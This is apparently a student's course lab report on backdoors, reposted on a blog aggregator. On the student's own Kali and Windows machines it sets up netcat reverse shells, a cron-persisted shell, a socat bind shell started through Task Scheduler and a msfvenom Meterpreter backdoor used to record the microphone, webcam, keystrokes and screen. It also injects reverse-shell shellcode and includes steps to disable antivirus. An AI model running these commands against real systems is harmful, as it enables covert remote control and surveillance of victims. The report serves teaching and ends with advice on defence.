zoukankan      html  css  js  c++  java
  • 20181330 王茜 《网络对抗技术》Exp2 后门原理与实践

    1、实践过程记录

    1.1 NC 或 netcat

    1.关于netcat

    • Netcat 是一款简单的Unix工具,使用UDP和TCP协议。
    • 它是一个可靠的容易被其他程序所启用的后台操作工具,同时它也被用作网络的测试工具或黑客工具。
    • Linux: 一般自带netcat,"man netcat" 或"man nc"可查看其使用说明。
    • Windows: 课程主页附件中下载ncat.rar解压即可使用。
    • Mac: 系统自带,"man nc",查看其使用说明。

    1.1.1 Win获得Linux Shell

    Step0:首先查看windows主机和kali的IP地址

    Step0.1:在kali的终端输入 ifconfig 查看当前kali的IP地址,如下图所示。

    Step0.2:在kali的终端输入 ipconfig 查看当前Windows主机当前的IP地址,如下图所示。

    所以:
    我的Windows主机IP地址:172.16.227.49
    kali的IP地址:192.168.91.133

    Step1:windows 打开监听

    在cmd.exe下输入 ncat.exe -l -p 8330 

     

    Step2:Linux反弹连接win

    输入 nc 172.16.277.49 8330 -e /bin/sh 

    Step3:windows下获得一个linux shell,可运行任何指令,如ls

    成功!但是输出乱码,应该是字符编码问题,我们需要修改一下字符编码。

    Step4:修改字符编码

    在cmd.exe输入 cd c:windowsststem32 

    之后输入 chcp 65001 更改字符编码为UTF-8

    成功之后会显示如下图所示:

    注意:这种方法只是临时更改,永久修改需要修改注册表。

    此时重新在Windows打开监听,在Linux反弹连接Windows,输入 ls 命令,成功!

    1.1.2 Linux获得Win Shell

    Step1:Linux运行监听指令

    Step2:Windows反弹连接Linux

    Step3:Linux下看到Windows的命令提示

    成功!

    1.1.3 Netcat扩展知识

    1.1.3.1 nc传输数据

    Step1:在Windows端输入 ncat.exe -l 8330 > 20181330wangqian.txt 

    Step2:在kali端输入 nc 172.16.227.49 8330 < 20181330wangqian.in 

    Step3:之后两者就可以传输数据!

    1.1.4 使用socat获取主机操作Shell, 任务计划启动 

    此时我的Windows主机ip为: 172.16.227.49 

    kali的ip为: 192.168.91.133 

    Step1: 使用netcat获取主机操作Shell,cron启动

      

    输入 select-editor ;

    在第一次使用的时候需要选择编译器,我们选择  3  ,vim

    •  Cron 是 Linux 下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。详细说明可 man cron 。
    •  crontab 指令增加一条定时任务,-e表示编辑。
     在最后一行添加22 * * * * /bin/netcat 172.16.227.49 8330 -e /bin/sh每个时间段的第22分钟反向连接Windows主机的8330端口. 

    接着按下 esc 输入 :wq 保存退出配置即生效,可通过 crontab -l 查看

    Step2:在系统时间22分时,就发现获得kali shell。可以使用一些命令查看

    使用socat获取主机操作Shell, 任务计划启动。

    Step3:win10系统中找到左下角的windows标志: 右键-计算机管理-任务计划程序-创建任务 

     常规 中填写 任务名称 为 exp2

    点击 触发器 然后 新建触发器 ,我选择 工作站锁定时 触发,然后点击确定。

    在操作中,导入你所下载解压后的 socat.exe 的路径,在添加参数中填入 tcp-listen:8330 exec:cmd.exe,pty,stderr (把 cmd.exe 绑定到端口 8330 ,同时把 cmd.exe 的 stderr 重定向到 stdout 上),创建完成之后,点击确定。

    创建完成之后,按 Windows+L 快捷键锁定计算机,再次打开时,双击 任务计划程序库 可以发现之前创建的任务已经开始运行

    Step4:在kali中输入 socat - tcp:172.16.227.49:8330 (-代表标准的输入输出,第二个流连接到Windows主机的 8330 端口,IP为win的IP),成功获得 cmd shell )

    输入 dir 进行测试,成功输出

    1.2 Meterpreter

    我们接下来学习如何使用msfenom生成后门可执行文件。我们要生成的这个后门程序是Meterpreter.

    揭开Meterpreter的神秘面纱介绍了meterpreter的一些底层原理。

    后门是编写好的程序,但是一旦被杀软识别,就不能再使用了。

    所以就出现了一些平台,把后门的基本功能、扩展功能、编码模式、运行平台及参数都做成可调整的参数和零件,需要的时候组合即可生成一个可执行文件。例如intersect、Metaspolit的msfvenom指令、Veil-evasion等等。

    我们接下来使用的是msfvenom命令,生成的后门程序是Meterpreter。

    Meterpreter的底层原理可以学习揭开Meterpreter的神秘面纱

    1.2.1 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

    Step1:

    在kali终端中输入 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.91.133 LPORT=8330 -f exe > 20181330_backdoor.exe 

    或者输入 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.91.133 PORT=8330 -f exe > meter_backdoor.exe 

     在kali中输入指令 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.91.133 LPORT=8330 -f exe > 20181330_backdoor.exe  (IP为kali的IP)生成后门程序 20181330_backdoor.exe 

    • -f :生成文件的类型
    • -p:使用的payload,就是有效载荷,简单来说就是被运输的东西,这个命令中windows/meterpreter/reverse_tcp就是一段shellcode
    • -x:使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。
    • -e:使用的编码器,用于对shellcode变形,为了免杀。
    • -i:编码器的迭代次数。如上即使用该编码器编码5次。
    • -b:badchar是payload中需要去除的字符。
    • LHOST:反弹回连的IP
    • LPORT:是回连的端口
    • > :输出到哪个文件
     

    生成的文件我们需要传给Windows,但是这种未经过处理的后门程序很大可能会被防火墙删除。

    为了验证后门程序的功能,我们需要临时关闭电脑上的杀软,但是实验之后一定要记得打开。

    Step2:

    我第一次进行实验时,由于没有设置好防火墙,导致传输的文件被删除。

    所以最好先关闭防火墙再进行传输文件。

    实时保护很重要,要记得关闭,否则后门程序会传不过来。

    实验做完后记得重新打开防火墙~

    Step3:

    在Windows中使用 ncat.exe -lv 8330 > 20181330_backdoor.exe 进行传输

    在kali中输入  nc 172.16.227.49 8330 < 20181330_backdoor.exe (此处的IP为Windows的IP)

    将生成的后门程序传送到Windows主机,传输成功。

    1.2.2 MSF打开监听进程

    Step1:

    在 Kali 上使用 msfconsole 指令进入msf控制台

    输入 use exploit/multi/handler 使用监听模块,设置payload

    输入 set payload windows/meterpreter/reverse_tcp ,使用和生成后门程序时相同的payload

    输入 set LHOST 172.16.227.49 ,这里用的是 LinuxIP ,和生成后门程序时指定的IP相同

    输入set LPORT 8330,要使用相同的端口

    输入 show options 查看

    输入 exploit 设置监听

    Step2:

    在Windows主机上双击运行生成的后门文件 20181330_backdoor.exe 

    此时可以看到, Kali 上已经获得了 windows 主机的连接,并且得到了远程控制的 shell 

    1.2.3 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

    Step1:输入record_mic指令可以截获一段音频

    Step2:输入webcam_snap指令可以使用摄像头进行拍照

    Step3:使用keyscan_start指令开始记录下击键的过程,使用keyscan_dump指令读取击键的记录

    Step4:使用screenshot指令可以进行截屏

    截屏如下:

     Step5:

    输入 getuid 查看当前用户

    输入 getsystem 提取权限

    2、加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

    方法一:网站直接下载shellcode

    Step1 :下载一份linux/x86平台的,反弹连接的shellcode(网址::https://www.exploit-db.com/shellcodes)。

    本次实验我下载的shellcode为:

    输入:

    perl -e 'print "A" x 32;print"x04x03x02x01x31xc0x31xdbx31xc9x31xd2x66xb8x67x01xb3x02xb1x01xcdx80x89xc3xb8x80xffxffxfex83xf0xffx50x66x68x11x5cx66x6ax02x89xe1xb2x10x31xc0x66xb8x6ax01xcdx80x85xc0x75x24x31xc9xb1x02x31xc0xb0x3fxcdx80x49x79xf9x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31xc9x31xd2xb0x0bxcdx80xb3x01x31xc0xb0x01xcdx80"' > input181330

    Step2:按照实验一,可以找到我的此次实验的地址为(和上次一样,需要关闭地址随机化和设置堆栈可执行): 0xffffd5ac+4=0xffffd5b0 
    Step3:构造shellcode
    输入
    perl -e 'print "A" x 32;print"xb0x05xffxffx31xc0x31xdbx31xc9x31xd2x66xb8x67x01xb3x02xb1x01xcdx80x89xc3xb8x80xffxffxfex83xf0xffx50x66x68x11x5cx66x6ax02x89xe1xb2x10x31xc0x66xb8x6ax01xcdx80x85xc0x75x24x31xc9xb1x02x31xc0xb0x3fxcdx80x49x79xf9x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31xc9x31xd2xb0x0bxcdx80xb3x01x31xc0xb0x01xcdx80"' > input181330

    Step4:

    同样的:

    • 在Kali上输入 msfconsole 指令进入msf控制台
    • 输入 use exploit/multi/handler 使用监听模块,设置payload
    • set payload linux/x86/shell_reverse_tcp 
    • set LHOST 127.0.0.1 按照网站shellcode的要求
    •  set LPORT 4444 按照网站shellcode的要求
    • 输入 exploit 设置监听

    注意要按照网站下载shellcode的要求设置LHOST和LPORT。

    Step5:打开另一个终端输入 (cat input181330;cat) | ./pwn1 运行注入shellcode后的pwn1

    成功!

    方法二:利用msf生成可执行的后门

    Step1:

    在Kali上执行指令 msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.91.133 LPORT=8330 -x pwn1 -f elf > pwntest 

    指令说明:

    • IP地址:控制端IP,即Linux的IP
    •  -x 使用的可执行文件模板,指令中为pwn1,也就是写入pwn1中
    •  -f 生成文件的类型,我们此处要得到的是elf文件
    •  -p payload,有效载荷,也就是被运输的东西。

     

    Step2:

    在 Kali 上使用 msfconsole 指令进入msf控制台

    输入 use exploit/multi/handler 使用监听模块,设置payload

    输入set payload linux/x86/meterpreter/reverse_tcp 

    输入set LHOST 192.168.91.133 ,这里用的是LinuxIP,和生成程序时指定的IP相同

    输入 set LPORT 8330 ,注意要使用相同的端口

    输入 exploit 执行监听

    Step3:

    在另一个终端进入相应文件夹,输入 chmod +x pwntest 

    否则会出现权限不够无法运行的问题

    接着输入运行 ./pwntest 

    Step4:

    之前的终端进行响应,得到了pwntest的功能

    3、基础问题回答

    3.1 例举你能想到的一个后门进入到你系统中的可能方式?

    可能通过网站挂马;利用硬件传播(比如U盘);一些病毒(例如蠕虫等等);钓鱼;社会工程学……

    3.2 例举你知道的后门如何启动起来(win及linux)的方式?

    本次实验中,在Linux里先修改cron文件,通过nc传播到另一台主机,当另一台主机运行时启动后门;

    通过漏洞攻击启动;

    一些不安全的软件编写时留下了后门,使用这些软件可能会使后门启动;

    等等。

    3.3 Meterpreter有哪些给你映像深刻的功能?

    实验中我们通过使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录,并提权。

    对我来说,提权是映像最深刻的。因为这个是最危险的,攻击者提权后可能进行意想不到的攻击。

    3.4如何发现自己有系统有没有被安装后门?

    首先可以通过Windows自带的防火墙识别,很多是可以被识别出来的;

    再就是查看任务管理器有没有很陌生的任务在运行;

    还可以查看注册表信息。

    4、实验总结与体会

    本次实验通过利用后门,可以操作shell,可以获取目标主机音频、摄像头、击键记录等内容,可以提权……

    实验中简单的后门其实是可以被防火墙识别的,这让我意识到了防火墙的重要性,以及一定要及时更新系统、安装补丁,尽量避免系统漏洞;

    在实验里简单的后门程序就可以实现那么多效果,一旦计算机被植入这些后门程序,个人隐私就轻而易举地会被泄露,在平时一定要养成良好的使用计算机的习惯,不要使用来源不明的软件等。

  • 相关阅读:
    centos安装odoo10及安装问题解决
    crontab实现定时任务
    pycharm发布代码
    centos下安装dblib
    windows安装face_recognition并进行人脸对比
    centos安装nginx1.9
    win10安装fast_client
    WIN10搭建python最新环境
    Linux常见命令
    centos安装python3.7
  • 原文地址:https://www.cnblogs.com/wangqianhey/p/14579407.html
Copyright © 2011-2022 走看看